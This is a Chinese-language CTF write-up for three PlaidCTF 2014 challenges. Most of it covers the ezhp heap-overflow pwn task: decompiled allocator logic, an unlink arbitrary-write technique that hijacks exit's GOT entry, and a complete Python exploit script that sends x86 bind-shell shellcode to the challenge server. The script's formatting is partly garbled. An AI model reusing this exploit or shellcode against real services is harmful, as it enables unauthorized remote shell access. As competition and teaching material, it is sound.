PlaidCTF-2014-ezhp/heartbleed/multiplication-is-hard-Writeup

###ezhp[PWN200]
说明:

Luckily when you travel back in time, you still get to use all your
knowledge from the present. With that knowledge in hand, breaking into
this service (at 54.81.149.239:9174) owned by The Plague shouldn't be
hard at all.

进入程序如下,有五个选项
pctf21.png
拉进 IDA 分析后,发现程序自己实现了堆的分配,其定义堆结构体为
pctf22.png
其中,i.size&1 == 1 表明未分配,i.size&1 == 0 表明已分配。
而 add note,remove note等选项都是对上述结构的操作,具体如下:


add note
选择 1 add note 后,程序需要你再输入size,然后call进 sub_804858B。

.text:080487C1 mov dword ptr [esp], offset aPleaseGiveMeAS ; .
...
.text:080487F4 call add_note_by_size(sub_804858B)

在 sub_804858B 函数里,发现程序做了几个关键操作:
首先先从 804B060 处取一值,然后做如下循环:

for ( i = dword_804B060; i && i < (unsigned int)size || *(_BYTE *)i & 1); i = *(_DWORD
*)(i + 4) );

也就是说做一个循环寻找满足 i=0 或者 i.size>size 且 i.size & 1=0 的点,否则 i = i.Flink。
接下来如果 i 存在且 i.size –size =< 0x30 的话,把 i.size 标记为已分配,返回 i.data。

if ( (unsigned int)(*(_DWORD *)i - deltaa) <= 0x30 ) {
*(_DWORD *)i |= 1u;
result = i + 12; }

如果 i 存在且 i.size –size > 0x30,返回分配一个新的堆节点,然后把 i 表明已分配,返回 i.data。

else
{
v5 = *(_DWORD *)(i + 4); v6 = i + deltaa;
*(_DWORD *)(i + deltaa + 8) = i;
*(_DWORD *)(i + deltaa + 4) = v5;
*(_DWORD *)(i + deltaa) = *(_DWORD *)i - deltaa; if ( v5 )
*(_DWORD *)(v5 + 8) = v6; *(_DWORD *)(i + 4) = v6; *(_DWORD *)i = deltaa; *(_DWORD *)i |= 1u;
result = i + 12; }

如果 i 不存在,调用 sbrk 函数为程序分配 0x40C 字节的空间,把地址放入已分配链表的结尾。
同样将该地址初始化为上述堆结构,返回note.data。

if ( (unsigned int)deltaa < 0x40C ) deltaa = 1036;
v3 = sbrk(deltaa);
*((_DWORD *)v3 + 1) = 0;
*(_DWORD *)v3 = deltaa;
for ( j = dword_804B060; *(_DWORD *)(j + 4); j = *(_DWORD *)(j + 4) )
;
*(_DWORD *)(j + 4) = v3; *((_DWORD *)v3 + 2) = j; *(_DWORD *)v3 |= 1u; result = (int)((char *)v3 + 12);
}
return result;

最后把 804858B 函数返回的地址(也就是可操作的地址)存放到 0804A060[n]处,将全局引用次数(在dword_804A04C处)加一

.text:080487FC .text:08048801 .text:08048804 .text:0804880B .text:08048810
remove note
eax, ds:dword_804A04C
mov mov mov add
edx, [ebp+var_C]
ds:buf[eax*4], edx ; address_of_notes? eax, ds:dword_804A04C ; count_of_notes
eax, 1

remove note
相当于对一个已分配节点的 free,把地址note.size标记为未分配,然后插入到已分配链表的开始处。

v2 = a1 - 12;
v3 = *(_DWORD *)(a1 - 12 + 8); v4 = *(_DWORD *)(a1 - 12 + 4); if ( v3 )
*(_DWORD *)(v3 + 4) = v4; if ( v4 )
*(_DWORD *)(v4 + 8) = v3;
*(_DWORD *)(v2 + 4) = *(_DWORD *)(dword_804B060 + 4);
if ( *(_DWORD *)(dword_804B060 + 4) )
*(_DWORD *)(*(_DWORD *)(dword_804B060 + 4) + 8) = v2;
*(_DWORD *)(dword_804B060 + 4) = v2; result = a1 - 12;
*(_DWORD *)v2 &= 0xFFFFFFFEu;
}
return result;

然后将全局引用次数减一。

Change note:
Change note 就是对以分配地址(0804A060处)的一个操作了,就是输入字符串添加进去了。但是向以分配地址写入字符串时,程序并没有对字符串长度检测,就是这个地方造成缓冲区溢出。

ssize_t result; // eax@1
int v1; // [sp+18h] [bp-10h]@1 size_t nbytes; // [sp+1Ch] [bp-Ch]@4
puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &v1); result = dword_804A04C;
if ( v1 <= dword_804A04C ) {
result = v1; if ( v1 >= 0 ) {
result = (ssize_t)*(&buf + v1); if ( result )
{
puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &nbytes); puts("Please input your data."); fflush(stdout);
result = read(0, *(&buf + v1), nbytes); }
} }
return result;

4 和 5 选项是输出一个字符串和退出,没啥好说的。

典型的堆溢出利用:

Free 节点 a 时,会有 a.Plink.Flink = a.Flink; a.Flink.Plink = a.Plink 的操作。
如果溢出 a 的上个节点覆盖 a.Plink 和 a.Flink,那么就可以对任意内存写入任意值得情 况。精确覆盖内存得到任意代码执行。
漏洞很简单,但是不是那么容易利用,因为 shellcode 的地址不确定,想啊想啊。。终于找到一个办法。
首先分配的六个note,每个note 长度为四字节。因为程序性分配的 data 长度是 0xc 的倍数,所以data长度为 0xc 字节。
Note.data 的地址会放在0804A060处,简单结构如下:

0x0804A060 note1.data
0x0804A064 note2.data
0x0804A068 note3.data
0x0804A06c note4.data
0x0804A070 note5.data
0x0804A074 note6.data

Note.data地址是可直接写的么,就先把shellcode写入note6.data。结构如下:

0x0804A060 note1.data
0x0804A064 note2.data
0x0804A068 note3.data
0x0804A06c note4.data
0x0804A070 note5.data
0x0804A074 shellcode

然后赋值 note1.data,将0x0804A078覆盖note2.Flink,将 0x0804A068覆盖note2.Plink,free note2后,结构如下:

0x0804A060 note1.data
0x0804A064 0
0x0804A068 note3.data
0x0804A06c 0804A078
0x0804A070 note5.data
0x0804A074 shellcode

然后赋值 note1.data,将 0x0804a008 覆盖 note3.Flink,将 0x0804A06c 覆盖 note3.Plink,free note3 后,结构如下:

0x0804A060 note1.data
0x0804A064 0
0x0804A068 0
0x0804A06c 0804A078
0x0804A070 0804a008
0x0804A074 shellcode

现在 note4.data 的地址是 0x0804A078,那么 note4的地址就是0x0804A06c,指向它所在处。而 free note4操作如下:

*[*[0x0804A06c + 4] + 8] = *[0x0804A06c + 8]
*[*[0x0804A06c + 8] + 4] = *[0x0804A06c + 4]

也就是它直接将shellcode的地址放写入了0804a010处。而 0804a010 处是 exit 函数的导入地址:

.got.plt:0804A010 off_804A010 dd offset exit

这样经过 free 操作后,让程序退出执行 exit()函数,就直接执行 shellcode 了。注意

*[*[0x0804A06c + 8] + 4] = *[0x0804A06c + 4]

操作会破环 shellcode 的四到八字节,所以shellcode开始出应用jmp指令跳过那一部分。
exp如下,不要吐槽我的 python ;-)

#!/usr/bin/env python #encoding=utf-8
from socket import * import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('54.81.149.239', 9174))
data = s.recv(1024) print data
time.sleep(1)
data = s.recv(1024) print data
i= 0
while( i<6 ):
    get = b"1\n"
    d = s.send(get) print get
    time.sleep(1)
    data = s.recv(1024) print data
    get = b"4\n"
    d = s.send(get) print get
    time.sleep(1)
    data = s.recv(1024) print data
    i += 1
rop = b"\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode = b""
shellcode += rop shellcode +=
#97 bytes Linx x86 bind shell port 64533 by Magnefikko b"\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\ x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43 \x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x5 8\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6 9\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"
get = b"3\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"5\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = str(len(shellcode)) d = s.send(get)
print get
get = "\n"
d = s.send(get)
time.sleep(1)
data = s.recv(1024) print data
get = shellcode + "\n" d = s.send(get)
print get
time.sleep(1)
data = s.recv(1024) print data
get = b"3\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"0\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"24\n" d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"1"*16 + "\x78\xA0\x04\x08" + "\x68\xA0\x04\x08\n" d = s.send(get)
print get
time.sleep(1)
data = s.recv(1024) print data
get = b"2\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"1\n"
d = s.send(get)
print get
time.sleep(1)
data = s.recv(1024) print data
get = b"3\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"0\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"48\n" d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"1"*40 + "\x08\xa0\x04\x08" + "\x6c\xA0\x04\x08\n" d = s.send(get)
print get
time.sleep(1)
data = s.recv(1024) print data
get = b"2\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"2\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"2\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
get = b"3\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data
#exploit
get = b"6\n"
d = s.send(get) print get
time.sleep(1)
data = s.recv(1024) print data

最后nc连一下64533 端口,flag在/home/eznp/flag.txt中。


###heartbleed[MISC10]

说明:

Back up now! Hopefully for good. Our hearts are bleeding. But instead
of bleeding password bytes, they're bleeding flags. Please recover our
flags so we don't bleed to death before we can update to 1.0.1-g. Site
is up at https://54.82.147.138:45373 (The flag format is
"flag{...}".)

开始题目要求10000到11000端口随机变换,网速捉急就挂了,后来更新题目,直接使用测试脚本搞定
http://lcx.cc/?i=4275
pctf23.png


###Misc multiplication is hard[MISC10]

The Plague went back in time... but we haven't yet figured out what he
did this time... Anyway, what is 38.55 * 1700?

Google搜索之,发现两数相乘会有一个蛋疼的错误结果100000也就是Flag...

@Da2din9o ::TEAM L::

tagged by pctf misc pwn  

Comment Closed.

© 2014 ::L Team::